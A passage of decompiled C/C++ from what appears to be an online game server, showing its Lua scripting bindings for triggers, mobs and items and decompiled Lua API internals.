[sp+94h] [bp-4h]@1 int v29; // [sp+98h] [bp+0h]@1 v27 = (unsigned int)&v29 ^ __security_cookie; _.fe_FunctionCode = "cGetAreaObjectList"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetAreaObjectList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetAreaObjectList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v28 = 0; v1 = lua_tolstring(L, 1, 0); if ( v1 ) { v3 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1); v4 = (#1265 *)v3; if ( v3 && (v11 = FieldMap::fm_GetCenterObject(v3)) != 0 && (v26 = 0, v25 = 0, v24 = 0, v23 = 0, v22 = 0, v21 = 0, v20 = 0, *(_DWORD *)AreaName = 0, (v5 = lua_tolstring(L, 2, 0)) != 0) ) { Name8::operator_((Name8 *)AreaName, v5); v6 = (unsigned __int64)lua_tonumberx(L, 3, 0); p = 0; v14 = 0; v15 = 0; LOBYTE(v28) = 1; AxialListAreaObjectList::AxialListAreaObjectList(&alaol, v4, (Name8 *)AreaName, v6); LOBYTE(v28) = 2; ShineObjectClass::ShineObject::so_AllInMap((void *)v11, (int)&alaol, 0); v7 = (int)AxialListAreaObjectList::alaol_GetList(&alaol, &result); LOBYTE(v28) = 3; std::vector>::operator_( &ObjectList, v7); LOBYTE(v28) = 2; std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::push_back(std::vector > *this, LuaFuncTrigger::TriggerUseItem *_Val) { std::vector > *v2; // esi@1 LuaFuncTrigger::TriggerUseItem *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 LuaFuncTrigger::TriggerUseItem *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(954437177i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (005A9740) -------------------------------------------------------- char __thiscall AxialListObjectCollect::ali_Work(AxialListObjectCollect *this, #593 *a2, #593 *a3, unsigned int distancesquar) { AxialListObjectCollect *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNPCSearch::ali_Work"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNPCSearch::ali_Work"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a3 ) std::vector>::push_back(&v4->aloc_List); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNPCSearch::ali_Work"); return 1; } //----- (005A97F0) -------------------------------------------------------- #error "5A97F0: undefined or illegal type '#593' (funcsize=357)" //----- (005A9CC0) -------------------------------------------------------- int __cdecl cTriggerRegist(lua_State *L) { long double v1; // st7@1 #593 *v2; // ebp@1 const char *v3; // eax@3 const char *v4; // esi@3 const char *v5; // ebx@3 unsigned __int64 v6; // qax@3 int v7; // edi@6 signed int v8; // ecx@6 bool v9; // zf@6 LuaFuncTrigger::TriggerUseItem *v10; // eax@10 const char *v11; // esi@11 int v12; // edi@11 signed int v13; // ecx@11 bool v14; // zf@11 LuaFuncTrigger::TriggerUseItem *v15; // eax@15 const char *v16; // esi@16 int v17; // edi@16 signed int v18; // ecx@16 bool v19; // zf@16 LuaFuncTrigger::TriggerUseItem *v20; // eax@20 char *v22; // [sp+4h] [bp-70h]@2 const char *trigger; // [sp+18h] [bp-5Ch]@3 FunctionEntarance _; // [sp+1Ch] [bp-58h]@1 LuaFuncTrigger::TriggerUseItem this; // [sp+20h] [bp-54h]@10 int v26; // [sp+70h] [bp-4h]@1 _.fe_FunctionCode = "cTriggerRegist"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cTriggerRegist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cTriggerRegist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v26 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( v2 ) { v3 = lua_tolstring(L, 2, 0); v4 = v3; trigger = v3; v5 = lua_tolstring(L, 3, 0); v6 = (unsigned __int64)lua_tonumberx(L, 4, 0); if ( v4 && v5 && (v6 & 0x80000000u) == 0i64 ) { v7 = (int)"Chat"; v8 = 5; v9 = 1; do { if ( !v8 ) break; v9 = *v4++ == *(_BYTE *)v7++; --v8; } while ( v9 ); if ( v9 ) { LuaFuncTrigger::TriggerChat::TriggerChat(&this, v2, v5, v6); LOBYTE(v26) = 1; std::vector>::push_back( (std::vector > *)&LuaFuncTrigger::g_FuncTrigger_Chat, v10); LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this); } else { v11 = trigger; v12 = (int)"Jump"; v13 = 5; v14 = 1; do { if ( !v13 ) break; v14 = *v11++ == *(_BYTE *)v12++; --v13; } while ( v14 ); if ( v14 ) { LuaFuncTrigger::TriggerChat::TriggerChat(&this, v2, v5, v6); LOBYTE(v26) = 2; std::vector>::push_back( (std::vector > *)&LuaFuncTrigger::g_FuncTrigger_Jump, v15); LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this); } else { v16 = trigger; v17 = (int)"ItemUse"; v18 = 8; v19 = 1; do { if ( !v18 ) break; v19 = *v16++ == *(_BYTE *)v17++; --v18; } while ( v19 ); if ( !v19 ) { v26 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } LuaFuncTrigger::TriggerChat::TriggerChat(&this, v2, v5, v6); LOBYTE(v26) = 3; std::vector>::push_back( &LuaFuncTrigger::g_FuncTrigger_UseItem.baseclass_0, v20); LOBYTE(v26) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this); } } lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cTriggerRegist"); return 1; } v26 = -1; v22 = "cTriggerRegist"; } else { v26 = -1; v22 = "cTriggerRegist"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v22); return 0; } //----- (005A9F00) -------------------------------------------------------- #error "5A9F00: undefined or illegal type '#593' (funcsize=38)" //----- (005A9FB0) -------------------------------------------------------- #error "5A9FB0: undefined or illegal type '#593' (funcsize=58)" //----- (005AA090) -------------------------------------------------------- bool __thiscall LuaScriptScenario::ls_FuncSet(LuaScriptScenario *this) { LuaScriptScenario *v1; // esi@1 v1 = this; lua_pushcclosure(this->baseclass_0.ls_LuaObject, tonumber, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "tonumber"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cExecCheck, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cExecCheck"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cDebugLog, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cDebugLog"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cPlayerExist, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cPlayerExist"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cDistanceSquar, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cDistanceSquar"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobRegen_Obj, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobRegen_Obj"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobRegen_XY, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobRegen_XY"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cNPCVanish, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cNPCVanish"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cCurSec, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cCurSec"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cCurrentSecond, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cCurrentSecond"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetNPCHandle, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetNPCHandle"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetQuestHero_NPC, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetQuestHero_NPC"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetQuestHero_ItemUse, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetQuestHero_ItemUse"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetPlayerName, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetPlayerName"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAggroSet, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAggroSet"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cIsObjectDead, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cIsObjectDead"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cObjectHP, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cObjectHP"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetAbstate, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetAbstate"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cDropItem, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cDropItem"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cObjectLocate, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cObjectLocate"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cRandomInt, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cRandomInt"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobIDFind, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobIDFind"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAIScriptSet, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAIScriptSet"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cResetAbstate, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cResetAbstate"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cIsInMap, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cIsInMap"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cTargetHandle, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cTargetHandle"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cNPCSkillUse, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cNPCSkillUse"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAbstateRestTime, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAbstateRestTime"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMessage, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMessage"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cNPCChat, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cNPCChat"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cRegenGroupActiv, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cRegenGroupActiv"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGroupRegen, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGroupRegen"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cVanishAll, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cVanishAll"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetNPCParam, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetNPCParam"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cObjectType, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cObjectType"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAIScriptFunc, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAIScriptFunc"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSkillBlast, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSkillBlast"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAggroList, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAggroList"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cEffectRegen_XY, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cEffectRegen_XY"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMagicFieldSpread, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMagicFieldSpread"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetTargetList, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetTargetList"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSkillDamageCalculate, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSkillDamageCalculate"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cDamaged, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cDamaged"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cRunTo, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cRunTo"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cPermileRate, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cPermileRate"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cIsMovable, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cIsMovable"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cServerMenu, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cServerMenu"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetItemLot, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetItemLot"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cObjectFind, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cObjectFind"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetNPCIsItemDrop, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetNPCIsItemDrop"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetNPCResist, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetNPCResist"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cTriggerRegist, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cTriggerRegist"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cNPCChatTest, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cNPCChatTest"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobDialog, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobDialog"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobDialog_Obj, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobDialog_Obj"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobShout, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobShout"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cCameraMove, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cCameraMove"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetAIScript, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetAIScript"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cFollow, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cFollow"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetPlayerList, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetPlayerList"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cDoorBuild, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cDoorBuild"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cDoorAction, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cDoorAction"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetAreaObjectList, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetAreaObjectList"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetAreaObject, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetAreaObject"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cScriptMessage, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cScriptMessage"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cNPCMenuOpen, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cNPCMenuOpen"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cCastingBar, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cCastingBar"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cTimer, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cTimer"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cTimer_Obj, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cTimer_Obj"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAnimate, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAnimate"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGroupRegenInstance, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGroupRegenInstance"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cLinkTo, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cLinkTo"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetDeadDelayTime, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetDeadDelayTime"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetAroundCoord, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetAroundCoord"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cGetDirect, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cGetDirect"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cHeal, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cHeal"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cSetFieldPKType, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cSetFieldPKType"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cAssertLog, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cAssertLog"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobRegen_Circle, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobRegen_Circle"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cIsEquipItem, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cIsEquipItem"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobChat, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobChat"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cInvenItemDestroy, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cInvenItemDestroy"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cObjectCount, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cObjectCount"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cMobSuicide, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cMobSuicide"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cQuestResult, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "cQuestResult"); return 1; } //----- (005AAAE0) -------------------------------------------------------- lua_TValue *__usercall index2addr(lua_State *L, int idx) { CallInfo *v2; // edx@1 lua_TValue *result; // eax@2 int v4; // eax@8 GCObject *v5; // ecx@9 int v6; // edx@9 bool v7; // zf@9 bool v8; // sf@9 unsigned __int8 v9; // of@9 v2 = L->ci; if ( idx > 0 ) { result = &v2->func[idx]; if ( result < L->top ) return result; return (lua_TValue *)&luaO_nilobject_; } if ( idx > -1001000 ) return &L->top[idx]; if ( idx == -1001000 ) return &L->l_G->l_registry; v4 = -1001000 - idx; if ( v2->func->u.i.tt__ == 2146936086 || (v5 = v2->func->u.i.v__.gc, v6 = *(&v5->gch.marked + 1), v9 = __OFSUB__(v4, v6), v7 = v4 == v6, v8 = v4 - v6 < 0, result = (lua_TValue *)(&v5->ts.tsv.hash + 2 * v4), !((unsigned __int8)(v8 ^ v9) | v7)) ) return (lua_TValue *)&luaO_nilobject_; return result; } //----- (005AAB30) -------------------------------------------------------- void __cdecl growstack(lua_State *L, void *ud) { luaD_growstack(L, *(_DWORD *)ud); } //----- (005AAB40) -------------------------------------------------------- int __cdecl lua_checkstack(lua_State *L, int size) { int v2; // ecx@1 lua_TValue *v3; // eax@1 CallInfo *v4; // edi@1 int result; // eax@2 lua_TValue *v6; // ecx@7 v2 = size; v3 = L->top; v4 = L->ci; if ( (signed int)(L->stack_last - v3) > size ) { result = 1; goto LABEL_7; } if ( (signed int)(v3 - L->stack + 5) > 1000000 - size ) return 0; result = luaD_rawrunprotected(L, growstack, &size) == 0; if ( result ) { v2 = size; LABEL_7: v6 = &L->top[v2]; if ( v4->top < v6 ) v4->top = v6; } return result; } //----- (005AABB0) -------------------------------------------------------- void __cdecl lua_xmove(lua_State *from, lua_State *to, int n) { int i; // ecx@2 lua_TValue *v4; // eax@3 lua_TValue *v5; // edx@3 if ( from != to ) { from->top -= n; for ( i = 0; i < n; v4->u.i.tt__ = v5->u.i.tt__ ) { v4 = to->top; v5 = &from->top[i]; to->top = v4 + 1; v4->u.i.v__.gc = v5->u.i.v__.gc; ++i; } } } //----- (005AAC10) -------------------------------------------------------- int (__cdecl *__cdecl lua_atpanic(lua_State *L, int (__cdecl *panicf)(lua_State *)))(lua_State *) { global_State *v2; // ecx@1 int (__cdecl *result)(lua_State *); // eax@1 v2 = L->l_G; result = v2->panic; v2->panic = panicf; return result; } //----- (005AAC30) -------------------------------------------------------- const long double *__cdecl lua_version(lua_State *L) { const long double *result; // eax@2 if ( L ) result = L->l_G->version; else result = &version; return result; } //----- (005AAC50) -------------------------------------------------------- int __cdecl lua_absindex(lua_State *L, int idx) { int result; // eax@3 if ( idx > 0 || idx <= -1001000 ) result = idx; else result = idx + L->top - L->ci->func; return result; } //----- (005AAC80) -------------------------------------------------------- int __cdecl lua_gettop(lua_State *L) { return (signed int)((char *)L->top - (char *)L->ci->func - 8) >> 3; } //----- (005AACA0) -------------------------------------------------------- void __cdecl lua_settop(lua_State *L, int idx) { lua_TValue *v2; // ecx@2 lua_TValue *v3; // edi@3 if ( idx < 0 ) { v2 = &L->top[idx + 1]; goto LABEL_6; } v2 = &L->ci->func[idx + 1]; if ( L->top >= v2 ) { LABEL_6: L->top = v2; return; } do { L->top->u.i.tt__ = 2146936064; v3 = L->top + 1; L->top = v3; } while ( v3 < v2 ); L->top = v2; } //----- (005AACF0) -------------------------------------------------------- void __cdecl lua_remove(lua_State *L, int idx) { lua_TValue *v2; // eax@1 int v3; // ecx@2 v2 = index2addr(L, idx) + 1; if ( v2 < L->top ) { v3 = (int)&v2[-1]; do { *(_DWORD *)v3 = v2->u.i.v__.gc; *(_DWORD *)(v3 + 4) = v2->u.i.tt__; ++v2; v3 += 8; } while ( v2 < L->top ); } --L->top; } //----- (005AAD30) -------------------------------------------------------- void __cdecl lua_insert(lua_State *L, int idx) { lua_TValue *v2; // eax@1 lua_TValue *v3; // ecx@1 int v4; // edx@2 lua_TValue *v5; // ecx@4 v2 = index2addr(L, idx); v3 = L->top; if ( v3 > v2 ) { v4 = (int)&v3[-1]; do { v3->u.i.v__.gc = *(GCObject **)v4; v3->u.i.tt__ = *(_DWORD *)(v4 + 4); --v3; v4 -= 8; } while ( v3 > v2 ); } v5 = L->top; v2->u.i.v__.gc = v5->u.i.v__.gc; v2->u.i.tt__ = v5->u.i.tt__; } //----- (005AAD80) -------------------------------------------------------- void __usercall moveto(lua_State *L, lua_TValue *fr, int idx) { lua_State *v3; // esi@1 lua_TValue *v4; // edi@1 lua_TValue *v5; // eax@1 int v6; // eax@2 GCObject *v7; // edi@5 int v8; // eax@6 v3 = L; v4 = fr; v5 = index2addr(L, idx); v5->u.i.v__.gc = v4->u.i.v__.gc; v5->u.i.tt__ = v4->u.i.tt__; if ( idx < -1001000 ) { v6 = v4->u.i.tt__; if ( (v4->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v6) = 3; if ( v6 & 0x40 ) { v7 = v4->u.i.v__.gc; if ( v7->gch.marked & 3 ) { v8 = **(_DWORD **)v3->ci; if ( *(_BYTE *)(v8 + 5) & 4 ) luaC_barrier_(v3, (GCObject *)v8, v7); } } } } //----- (005AADF0) -------------------------------------------------------- void __cdecl lua_replace(lua_State *L, int idx) { moveto(L, L->top - 1, idx); --L->top; } //----- (005AAE10) -------------------------------------------------------- void __cdecl lua_copy(lua_State *L, int fromidx, int toidx) { lua_TValue *v3; // eax@1 v3 = index2addr(L, fromidx); moveto(L, v3, toidx); } //----- (005AAE30) -------------------------------------------------------- void __cdecl lua_pushvalue(lua_State *L, int idx) { lua_TValue *v2; // eax@1 lua_TValue *v3; // ecx@1 v2 = index2addr(L, idx); v3 = L->top; v3->u.i.v__.gc = v2->u.i.v__.gc; v3->u.i.tt__ = v2->u.i.tt__; ++L->top; } //----- (005AAE60) -------------------------------------------------------- int __cdecl lua_type(lua_State *L, int idx) { lua_TValue *v2; // eax@1 int v3; // eax@2 int result; // eax@3 v2 = index2addr(L, idx); if ( (_UNKNOWN *)v2 == &luaO_nilobject_ ) { result = -1; } else { v3 = v2->u.i.tt__; if ( (v3 & 0x7FFFFF00) == 2146936064 ) result = v3 & 0xF; else result = 3; } return result; } //----- (005AAEA0) -------------------------------------------------------- const char *__cdecl lua_typename(lua_State *L, int t) { return off_682728[t]; } // 682728: using guessed type char *off_682728[11]; //----- (005AAEB0) -------------------------------------------------------- int __cdecl lua_iscfunction(lua_State *L, int idx) { int v2; // eax@1 v2 = index2addr(L, idx)->u.i.tt__; return v2 == 2146936086 || v2 == 2146936166; } //----- (005AAEE0) -------------------------------------------------------- int __cdecl lua_isnumber(lua_State *L, int idx) { lua_TValue *v2; // eax@1 int result; // eax@2 lua_TValue n; // [sp+4h] [bp-8h]@2 v2 = index2addr(L, idx); if ( (v2->u.i.tt__ & 0x7FFFFF00) != 2146936064 || (result = (int)luaV_tonumber(v2, &n)) != 0 ) result = 1; return result; } //----- (005AAF30) -------------------------------------------------------- int __cdecl lua_isstring(lua_State *L, int idx) { lua_TValue *v2; // eax@1 int v3; // eax@2 int v4; // eax@4 int result; // eax@6 v2 = index2addr(L, idx); if ( (_UNKNOWN *)v2 == &luaO_nilobject_ ) goto LABEL_10; v3 = v2->u.i.tt__; if ( (v3 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; v4 = v3 & 0xF; if ( v4 == 4 || v4 == 3 ) result = 1; else LABEL_10: result = 0; return result; } //----- (005AAF80) -------------------------------------------------------- int __cdecl lua_rawequal(lua_State *L, int index1, int index2) { lua_TValue *v3; // edi@1 lua_TValue *v4; // eax@1 int v5; // edx@4 v3 = index2addr(L, index1); v4 = index2addr(L, index2); return (_UNKNOWN *)v3 != &luaO_nilobject_ && (_UNKNOWN *)v4 != &luaO_nilobject_ && ((v3->u.i.tt__ & 0x7FFFFF00) == 2146936064 ? (v5 = v3->u.i.tt__ == v4->u.i.tt__) : (v5 = (v4->u.i.tt__ & 0x7FFFFF00) != 2146936064), v5 && luaV_equalobj_(0, v3, v4)); } //----- (005AB000) -------------------------------------------------------- int __cdecl lua_compare(lua_State *L, int index1, int index2, int op) { lua_TValue *v4; // edi@1 lua_TValue *v5; // eax@1 int v7; // edx@9 v4 = index2addr(L, index1); v5 = index2addr(L, index2); if ( (_UNKNOWN *)v4 == &luaO_nilobject_ || (_UNKNOWN *)v5 == &luaO_nilobject_ ) return 0; if ( op ) { if ( op == 1 ) return luaV_lessthan(L, v4, v5); if ( op == 2 ) return luaV_lessequal(L, v4, v5); return 0; } if ( (v4->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) v7 = v4->u.i.tt__ == v5->u.i.tt__; else v7 = (v5->u.i.tt__ & 0x7FFFFF00) != 2146936064; return v7 && luaV_equalobj_(L, v4, v5); } //----- (005AB0C0) -------------------------------------------------------- long double __cdecl lua_tonumberx(lua_State *L, int idx, int *isnum) { lua_TValue *v3; // eax@1 long double result; // st7@5 lua_TValue n; // [sp+4h] [bp-8h]@2 v3 = index2addr(L, idx); if ( (v3->u.i.tt__ & 0x7FFFFF00) != 2146936064 || (v3 = luaV_tonumber(v3, &n)) != 0 ) { if ( isnum ) *isnum = 1; result = *(double *)&v3->u.i.v__.gc; } else { if ( isnum ) *isnum = 0; result = 0.0; } return result; } //----- (005AB120) -------------------------------------------------------- int __cdecl lua_tointegerx(lua_State *L, int idx, int *isnum) { lua_TValue *v3; // eax@1 int result; // eax@5 int res; // [sp+4h] [bp-14h]@6 lua_TValue n; // 